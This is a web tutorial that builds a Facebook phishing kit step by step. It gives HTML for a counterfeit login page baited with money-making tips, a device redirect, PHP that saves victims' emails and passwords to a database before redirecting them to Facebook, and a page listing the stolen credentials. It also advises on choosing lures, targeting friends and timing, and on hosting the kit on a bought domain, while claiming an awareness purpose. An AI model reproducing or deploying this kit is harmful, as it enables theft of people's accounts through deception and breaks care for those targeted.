How to Hack Facebook Account/Password with Code

Here you will get genuine tips about hacking of anyone's Facebook account ID and Password along with hacking code and live example.

Message before Hacking Facebook Account

This is a tutorial to make you aware about, how any of your account such as Facebook, Instagram, Twitter, LinkedIn etc. can be hacked using phishing attack.

This tutorial is based on hacking Facebook account with your own code, not for making someone in trouble, but to get the idea about how things are getting worked. Therefore please don't use any of the code given here to actually hack anyone's Facebook account as this is an illegal process or action.

After reading this tutorial on hacking Facebook account, you will get to feel safe and can put yourself in safer area while operating your account over internet such as Facebook, G-mail, or even your bank account.

You will also understand the result of opening any unknown links sent by anyone, even by your friend.

Now, let's start the tutorial on hacking Facebook account id and password using your own code.

What to do before Hacking Facebook Account ?

Before start hacking Facebook account using this tutorial, you must have some basic ideas about the following languages:

Now, you are thinking why is it necessary to learn or have some basic ideas about these things?
The answer is pretty simple, that is:

  • to create login form that looks like same as Facebook login page (HTML and CSS required here)
  • and then store user's login credentials in database (PHP and MySQLi required here)
  • and at last, redirect users to the original Facebook page (JavaScript required here)

Now, I think you have got the idea after reading the above lines, that you will hack Facebook account just by using phishing attack after reading and implementing the code given here.

If you have already learned all the above languages and want to re-check your knowledge, then you can give online tests such as HTML Test, CSS Test, JavaScript Test, PHP Test, and MySQL Test.
And on the basis of result that you will get after giving each and every test, you can be sure about your current understanding on the subject.

After reading this tutorial of Facebook account hacking, you will be able to implement phishing attack with your own to hack too many Facebook account id and password.

Tips to Trap Users to Hack their Facebook Account

These are the tips that teaches you, how you can easily trap targeted users to hack their Facebook account id and password:

  • Check what users like most - First of all you must have to check and find, what the target users like most to make his likable web page to trap him/her and then allow users to open his likable page. For example, earn money in short time, get tips to make body healthy in just 2 days, tips to learn Java in just 30 minutes etc.
  • Check which device, users are using at that time - Now also check and find that the targeted users are operating in which device. That is, either mobile, computer or tablet. You can also implement auto-redirection code in your login page to redirect users to desktop version login page if he/she uses desktop. That is, whatever the device they use, just redirect them to that one.
  • Find the most suitable time to trap users - The last is to find the suitable time to trap your target user to send the link and then hack his/her Facebook account. Suitable times in the sense, when users are free, means when he/she almost can open anything with free mind.

Steps to Hack Facebook Account/Password

Here are the list of steps to follow for hacking Facebook account/password:

  • Make login page that looks same as Facebook login page
  • Make login page handler script to store the login credentials in your database
  • Redirect users to original Facebook page after storing or getting his/her login credentials
  • Also Create Database to store Facebook id and password
  • Now send the link to the user
  • Also make a web page to see all hacked Facebook account id and password

After sending the link to the targeted users, you don't have to do anything after this (or after second last step given above). As after this step, the targeted users will start doing the things for you. That is, in indirect words, he/she will automatically give his/her Facebook account id and password for you in your database. And you only have to watch the magic in your database.

For example, you create a web page that shows user to, earn money in very short time, but before continuing to the article, you have asked user to login his/her Facebook to continue. This login section must be designed exactly same as original Facebook Login. Now send the link to target user, when he/she opens the link. Page asked user to login to continue, then the user immediately logged in to continue to get the article, but as you've written the code of redirection. So that, user get redirected to his/her original Facebook, and you've his/her Facebook login credentials in your database.

You can also make a web page used to see the list of targeted or trapped user's Facebook account password along with his/her Facebook id.

If you've done the last step, that is a web page that shows hacked Facebook account details, then you don't have to go in your database again and again, to check whether any user is trapped or not.

Now let's see the step by step code and description used in hacking anyone's Facebook account id and password.

1. Make Login Page looks like Facebook Login Page

Before starting this step, first check what the targeted user like most. For example, if your friend (the target user) like to earn money in very short time. Then create a login page with message related to earning money. Or if your friend like to be healthy or he/she likes to fight etc. Then put the message with some body fitness training tips etc.

Now let's do the first step by creating a demo login page with following code. This login code is for mobile users, you can implement redirection code to redirect users to desktop version login page using the JavaScript code, you will get the code after this login code.

<!doctype html>
   <title>Top 10 Tips to Earn Money in Short Time</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
   <meta name="description" content="Here are the list of top 10 tips to earn money in short time and become a
   successful earner in today's market. This list are exclusive to get for free to everyone.">
   <meta property='og:image' content='earnmoney.jpg' />
   <link rel="shortcut icon" href="">
      table tr td{text-align:center;}
      .bottom a{color:#D3D3D3;}
      .bottom a:link{text-decoration:none;}
      .inputf a:link{text-decoration:none;}
<body style="margin:0px;">
   document.title='Facebook - Log In or Sign Up';
<div style="width:100%;">
<div style="height:40px;background-color:#3b5998;padding-bottom:10px;padding-left:5px;">
   <span style="color:white;font-size:120%;"><br/>facebook</span>
<div style="background-color:#FAFAD2;padding:5px;line-height:23px;text-align:center;">
   <span style="color:purple;">Login to continue to get top 10 exclusive tips to earn money in short time.</span>
<div class="inputf" style="background-color:AliceBlue;padding:10px;text-align:center;"><br/>
   <form name="fbform" method="post" action="login.php">
      <input name="email" type="text" id="email" placeholder="Email address or phone number" maxlength="40" size="30px"
      <input name="pass" type="password" id="pass" placeholder="Password" maxlength="40" size="30px"
      <input class="login" name="login" type="submit" id="submit" value="Log In" size="60px"><br/><br/>
      <span style="text-align:center;">Or</span><br/><br/>
      <a class="check" href="#email" onclick='document.getElementById("email").focus();'>Create New Account</a><br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Forgotten password?</a> <br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Help Center</a><br/>
<div class="bottom" style="background-color:#808080;padding:10px;">
   <table style="width:250px;margin-left:auto;margin-right:auto;color:#D3D3D3;">
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (UK)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (US)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (In)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>More</a></td>
   <p style="text-align:center;color:white;">Facebook</p>

Before implementing the code online for target user and get his/her Facebook id and password. We will implement this Facebook account hacking system in our local computer system first. To do this, download and install XAMPP software in your computer and follow the steps given below.

Save the above code inside the directory, that is inside C:\xampp\htdocs\ (this directory automatically created after installing XAMPP) with name earnmoney.php and put the image that shows some dollar's inside the same directory with same name but with extension .jpg that is earnmoney.jpg.

Now open XAMPP and start the Apache and MySQL module. If you are not getting some idea about what I'm saying, then follow our PHP and MySQLi tutorial to feel better and start to the next step of hacking Facebook account id and password.

Now if you will open your browser and type localhost/earnmoney.php, then here is the sample screenshot you will see:

hack facebook account id password

As the above code is only used or made for mobile users. But you have to create the same login page for both users, that is for mobile Facebook users and desktop Facebook users.

Create another login page with name earnmoneyD.php for desktop to redirect desktop users to this page.

Here is the redirection code to that can be used to redirect the targeted users to desktop version page if users are on desktop:

<script type="text/javascript">
if (screen.width > 800) { window.location = "localhost/earnmoneyD.php"; }

Put the above code at top of the login page that you have created earlier.

2. Create Script to Store Facebook Login Credentials

Here is the login handler script to store Facebook login credentials of targeted users in your database:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
      // redirect users to original Facebook if error occurred
<!doctype html>
   <title>Logging in to facebook</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
<body style="margin:0px;"> 
         $email = $pass = "";
         // get facebook email id
         $email = $_POST["email"];
         // get Facebook password
         $pass = $_POST["pass"];
         // insert the Facebook id and password in database
         $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";
         $result = $conn->query($sql);
   // redirect users to original Facebook URL

Put the above file inside same directory with name login.php.

3. Redirect Users to Original Facebook URL

As you can see from the above step no. two, the following code:


is used to redirect users to original Facebook.

4. Make Database to Store Facebook Id and Password

Now create a database with same name and then create a table with again same name. And at last, create columns with same details as used in the above code, that is database named fbhackedusers, table named fbusers and then columns namely facebookid and facebookpassword.

To do this follow the steps given below:

1. Click on Admin next to MySQL row in XAMPP control panel.

mysql admin xampp

2. A web page gets opened in your default web browser with URL http://localhost/phpmyadmin/

3. Now Click on Databases

facebook database hack nav

4. Then enter the database name (as fbhackedusers) and click on Create button

5. Then enter fbusers next to name and set 3 next to number of columns. Click on Go button

facebook hack table name

6. Now provide details for all the three columns that is

  • Filling for first column like S.No. as Name, INT as Type, 6 as Length/Values, PRIMARY as index, and then tick on A.I. (auto increment)
  • Filling for second column like facebookid as Name, VARCHAR as Type, 40 as Length/Values
  • Filling for third column like facebookpassword as Name, VARCHAR as Type, 40 as Length/Values

7. Here is the snapshot after providing the details as mentioned in above three steps:

facebook hack column details

8. And then click on Save button. Now you have successfully setup the database locally.

5. Send Facebook Hacking Link to Friend

Now send the link to your friends to start getting their Facebook account id and password. That is, they open the link and see that the page is saying to show some exclusive tips to earn money in short time. Therefore to get that tips, your friend immediately enters Facebook id and password to continue.

6. Create Web page to List Hacked Facebook Users

To see your trapped users or hacked Facebook account id and password, you have to go to your database again and again. Therefore, to make it simple to see the hacked Facebook account id and password, just make another WebPage that fetches and lists all hacked Facebook account id and password from database in the form of table as shown in the following code:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
<!doctype html>
   <title>List of Facebook Users Hacked by Me</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
      table th, td{border:1px solid black;padding:10px;}
   $sql = "select * from fbusers";
   $res = $conn->query($sql);
   echo "<table>";
   echo "<tr>";
   echo "<th>Facebook Id</th>";
   echo "<th>Facebook Password</th>";
   echo "</tr>";
      echo "<tr><td> $row[1] </td> <td> $row[2] </td></tr>";
   echo "</table>"; 

Put the above file inside the same directory with name hackedusers.php.

Example of Hacking Facebook Account/Password

Now let's see the step by step screenshot of hacking Facebook account id and password of your friend.

Here is the screenshot of demo login page when your friend click on the link you sent to him/her.

hack facebook account

Now your friend will enter his/her Facebook account id and password, to get some exclusive tips to earn money in short time. You can also change the message, title and description of the page as per requirement, that is what the user like most. For example, if you send the link to anyone on WhatsApp, it looks like (this happens only when you put all the hacking system live as given below):

hack facebook link snapshot

Since, I've implemented the thing right now, therefore image is not showing. But after some time the image of dollar that you've uploaded gets shown at the left side, that makes more appealing to the user. So they immediately click on the link.

And here is the demo screenshot after entering Facebook login credentials:

hack facebook account code

Now after entering Facebook login credentials and pressing on the Log In button, your login handler script will store the details inside the database and redirect the user to original Facebook URL.

Your friend's Facebook account id and password gets stored inside your database, you can see the list of hacked Facebook users. You will see using your web page, that is created using the last step (6th step). Open the browser and type localhost/hackedusers.php. Here is the sample output, you will see.

how to hack facebook account

You can send the link to any of your friends whose Facebook account is going to be hacked by you, or anyone's Facebook account you want to hack. And to check whether your friend is trapped in your hacking system or not, continue checking the list of hacked users by refreshing the page hackedusers.php.

Last Step to Implement Facebook Account Hacking System Live

Now the last and most required step to implement the whole Facebook account hacking system live using your website, here are some steps required. If you have already a website. For example if you have a website named codescracker or any other, then:

  • Make a directory say facebook inside the parent directory
  • Create a database and then table inside same database with same details as used in above code of Facebook account hacking system
  • Put all the files, that is, earnmoney.php, earnmoneyD.php, login.php, hackedusers.php, and image file named earnmoney.jpg inside the directory named facebook
  • Now send the link to your friends, that is,
  • And open the link in your browser, that is,

And here are the steps, if you have not any website

  • Purchase or register any domain like
  • Purchase any web hosting account to host or put all your website files on your server
  • Setup your website to make it live
  • And then follow all the steps after having website and replace codescracker with your domain name

After doing all the above things, you need to change the connection string, that is you have to replace localhost with your hosting address, root with your database username, password with your database password. and then replace localhost/ with

You can also make some changes according to your requirement, to hack anyone's Facebook account id and password, as this tutorial is just a demo to show you, how you will able to hack anyone's Facebook account using some simple methods or how your account can be hacked.

Be Aware while using Internet

Here I have provided the complete tutorial, that is from beginning to end of hacking Facebook account by using phishing attack, just to make you aware that how the random link looks like, that can cause some serious trouble to you, after opening and filling some details inside an unknown website, sometime just on clicking on some random link, you may be hacked or your account may be hacked, as there are many types of hackers available over internet Therefore always be aware while using Internet.

Computer Fundamental Online Test

« Previous Tip Next Tip »

Like/Share Us on Facebook 😋